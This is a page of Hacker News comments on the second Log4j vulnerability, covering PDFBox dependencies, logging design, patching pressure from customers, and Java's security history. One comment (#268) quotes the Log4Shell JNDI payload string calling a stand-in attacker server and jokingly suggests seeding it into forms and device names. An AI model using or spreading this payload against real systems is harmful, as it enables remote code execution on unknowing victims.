Live data from Hacker News

Log4Shell update: second Log4j vulnerability published

lunasec.io

261–270 of 289 posts

Re: Log4Shell update: second Log4j vulnerability published

#261

I thought I was in the clear, then I remembered we have a small java binary that handles conversion of PDF to images. Turns out, Apache PdfBox depends on Log4j and can be compromised by feeding any malicious PDF into it. How many products use PdfBox right now? This github POC link is not even an hour old... https://github.com/eelyvy/log4jshell-pdf

Wanted to point out a few things:

- The Maven entry for `PDFBox` does not list `log4j` as a dependency. However `commons-logging` is a dependency, and `log4j` is listed as an optional dependency there. https://mvnrepository.com/artifact/org.apache.pdfbox/pdfbox/...

- The `PDFBox` documentation points out that `log4j` is not needed (though `commons-logging` is) and that logging will "fall back to the standard java.util.logging API included in the Java platform" https://pdfbox.apache.org/2.0/dependencies.html#minimum-requ...

- That exploit PoC explicitly adds `log4j` as a dependency https://github.com/eelyvy/log4jshell-pdf/blob/main/pom.xml#L...

So, for others out there that find this: just because you're using `PDFBox` does not necessarily mean that you are also using `log4j`, and therefore likely vulnerable to this latest issue.

Re: Log4Shell update: second Log4j vulnerability published

#262
post #260
post #259

Earlier quoted context omitted.

Fair enough, but that's more of how you package things - you can either have a separate class in Java inside your jar or you can have a standalone agent application (often also yet another Java application), but the attack surface doesn't change much. If log4j would be a standalone agent running on the same application server with this RCE vulnerability, the end result would be exactly the same.

Didn’t mean to split the log shipper for sake of security but since you brought it up :) RCE in the app allows reading secrets the application holds in memory, a lot more difficult from another process. And if you run the log scraper in a less privileged container you could restrict the blast radius to basically nothing except shipping fake logs to the central system. But sure, take this reasoning too far and you end…

While in theory you can, I'm yet to see a proper defense in depth implementation despite having >10 years in the industry. In my book, if you get shell access to pod, it's game over, as these secrets in program's memory are probably also available as environmental variables, accessible in k8s Secrets etc., not to mention other ways to compromise an underlying node and the whole cluster.. But yes, this is already too far from the original topic.

Re: Log4Shell update: second Log4j vulnerability published

#263
post #231

Earlier quoted context omitted.

It really re-enforces the idea of sane defaults. How many end users of a logging framework would even need JNDI functionality?

> How many end users of a logging framework would even need JNDI functionality Serious question: Suppose you need to replace user ids with user names in your Java program logs, instead of writing LDAP lookups around every log line everywhere, you have to put it in some module no? How about wrap the logging framework?

translate it to a username once when the thread is issued from the pool (or in a pre-receive spring interceptor/JaveEE request filter) and set it into a MDC value, then just print the MDC value. Calling an external service for every single log message written is still, itself, insane from a performance sense. Not every call need necessarily be written but still, yikes, that's a lot of API calls, even if the LDAP is still machine-local that's a lot of latency for every request.

of course the fun bit from the 2nd vulnerability is that the MDC implementation could still get at JDNI because it was doing a second layer of formatting, so doing this opened you up to JDNI attacks again - but that is the technically-correct answer for how you do that in a logging framework imo. You don't do it on-demand in a filter, you do it once per thread/request when the thread is issued or the request is received and put the result into MDC. If "ownership" of the thread changes, then clear and update the MDC again.

The real problematic one that log4j2's JNDI support was originally implemented to solve, was "I have multiple WARs inside an application server, how do I know which one this log message came from" and that one is a bit tricker to answer generically. I think the lazy answer there would be to hardcode the application name into the logfile - just because it can be generated on the fly, doesn't mean it has to be, you can have a pattern that is like "[%d][myService][%level%]..." and myService is just a literal in the pattern. You can also get it programmatically from Spring or the JavaEE API itself somehow (don't know that one off the top of my head but I'm sure there's a way), and put it into MDC like other values... or put it in a service.properties file that also lists the service API version/etc (along with the short git commit and git commit time from git.properties built by gradle-git-properties, these are questions that people often end up asking when troubleshooting a service).

Re: Log4Shell update: second Log4j vulnerability published

#264

Earlier quoted context omitted.

I don't use java and have never touched log4j, but structured logs are utterly fantastic and combined with an appropriate log server are far more useful than plain text.

There is a difference between structured log and something that interprets these logs to create shells down the stack, inside a log library... Nobody is questioning the benefits of structured logs here. The log library itself shouldn't be interpreting these logs. It's like a HTTP framework... triggering a printer, why the hell would it be doing that by default? Seems to me that Log4j is doing to many things, includin…

> Nobody is questioning the benefits of structured logs here.

The guy I replied to was literally saying we should only log plain text and that doing anything more complicated is "emblematic of the crisis the industry is in".

Re: Log4Shell update: second Log4j vulnerability published

#265

I thought I was in the clear, then I remembered we have a small java binary that handles conversion of PDF to images. Turns out, Apache PdfBox depends on Log4j and can be compromised by feeding any malicious PDF into it. How many products use PdfBox right now? This github POC link is not even an hour old... https://github.com/eelyvy/log4jshell-pdf

Wanted to point out a few things: - The Maven entry for `PDFBox` does not list `log4j` as a dependency. However `commons-logging` is a dependency, and `log4j` is listed as an optional dependency there. https://mvnrepository.com/artifact/org.apache.pdfbox/pdfbox/... - The `PDFBox` documentation points out that `log4j` is not needed (though `commons-logging` is) and that logging will "fall back to the standard java.uti…

I suspected something like this was afoot when I was reading through the manifest files. I don't get paid to write Java, so I wasn't sure if there was some other fantastical edge case that could cause an optional dependency to get loaded dynamically for whatever reason (I certainly couldn't have predicted this log4j fun).

Regardless, we are still going to have to remove this because our customers are now on a warpath. Reasonable arguments and nuanced proposals are not going to be feasible for this one. For us, the situation has quickly evolved into "remove 100% of java dependencies from the solution stack". Our customers are super paranoid, but we can't really blame them this time. When the CTO of a bank can understand the exact mechanism that compromises their systems (because it is so trivial to pull off), things are a lot more painful to negotiate.

Re: Log4Shell update: second Log4j vulnerability published

#266

Earlier quoted context omitted.

I'm seeing instances of it making the debt worse rather than better. E.g. some folks are just forcing latest log4j libs into builds even for services that don't have it or need it in central dependencies, as it's more expedient than trying to be precise and only bump where necessary. Leading to more risk over time.

It sounds better to say "we are patched for the vulnerability" instead of "the vulnerability does not affect us." The ladder leaves a level of uncertainty. Not saying I agree with this methodology.

I used to have to deal with this at my previous job (including log4j).

We were rarely vulnerable to CVEs mentioned by end users or pinged by our own internal tooling, but that wasn't the point.

The customers (a large percentage of Fortune 500) would just get pinged by their security teams. The customer would come to us, we'd say "yes, a patch is on its way" or "we've researched it, we're not vulnerable, it's fine".

(Our particular bit of product only had Java command line tools, but you never know what customers would do with them and whether they'd end up somewhere in a chain where those command line tools could be, deep down, kicked off from some user input on a public facing webpage).

Also the problem is that "we've researched it, we're not vulnerable, it's fine" often isn't good enough for the customer's internal security team, and our customers would just get hassled by them each time a scan was run.

We'd also spend a disproportionate amount of support time responding to "what about CVE-2021-xxxxx?" and arguing the case, even if it is just copy-and-paste the same old response again and again, it's still toil.

So, quite often, the easiest solution was to say "we've researched it, we're not vulnerable, but we're patching it anyway".

The problem with this approach is that you slowly build up a considerable number of third party packages that need to be version bumped each time you do a new maintenance release, and that puts quite a load on QA departments, etc.

Anyway, don't do that kind of thing any more and I certainly don't miss it.

Re: Log4Shell update: second Log4j vulnerability published

#267

Where can I find an explanation of the problem(s) log4j actually solves? The home page doesn't do it. The wikipedia article doesn't do it. I remember when it first came out and couldn't think of a single use for it that couldn't be addressed in a cleaner way.

Do you know what logging is? It's something basically all developers use to understand what is happening inside their program. log4j provides an easy to use and flexible logging facility so programmers can quickly move past basics and into getting the work done.

In the old days, programmers would write their own logging code. In the modern era, basically all operational environments want to get that logging data and tools like splunk and SIEM products use it for understanding how well services are running, looking for security problems, etc. Logs also need to be rotated, not overflow the hard disk, might need to be sent elsewhere. So for the combination of being easy to use but flexible to configure, something like log4j is perfect.

Basically all languages have something like log4j.

slf4j is also a popular java logging package. Sometimes slf4j and log4j are used together.

How would you do it "cleaner"? Write your own?

Re: Log4Shell update: second Log4j vulnerability published

#268

This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).

Too much fun to think about the ways to get hits. All it takes is a simple string. Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes. Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits. N…

There needs to be a good catchphrase for your porcupine strategy, like passive offensive security.

Re: Log4Shell update: second Log4j vulnerability published

#269
post #198

Earlier quoted context omitted.

You mean that they are adding log4j maven dependency where there was none?

Yes

Whilst that is ridiculous if they're bringing in a new dependency, if I squint I can see the thought process. Transitive dependencies are far harder to be certain about. It took a few seconds to scan our company's entire code base for log4j2.

But there's no easy way to verify that none of them might depend on, say, Spring Boot Web Starter, which brings in umpteen other dependencies.

Sure, you can resolve dependencies in each project and check at the individual level that the resolved dependencies for runtime don't include log4j2 but it's much more onerous. And you can take away that risk by declaring it in your parent POM so the version is fixed, regardless of what transitive deps may use.

Of course, I would always say if this what was being done, using the dependencyManagement would be a better solution. But a lot of this work will be under duress and in my experience the majority of people using systems like Maven don't really understand it.

Re: Log4Shell update: second Log4j vulnerability published

#270

(Maybe) Unpopular opinion: this whole ordeal is also due to the JRE being a clusterfuck of legacy and poor ideas. I understand it was the 90s but allowing to download arbitrary .class files from a server is _insane_, no matter how you spin it around.

Maybe your opinion is unpopular for a reason. C and C++ has always suffered from the ability to corrupt some memory (like overrun a buffer) and jump into and start executing some user-provided arbitrary data. Perl/Python/Ruby/PHP and friends all have eval() which is even easier to exploit. Rust and maybe Go are much in this respect (because in most cases you need to deliberately mark a piece of code as unsafe before…

LLs have eval() but they are normally must be called explicitly. Unlike Java's evel() equivalent everywhere.
Post reply on HN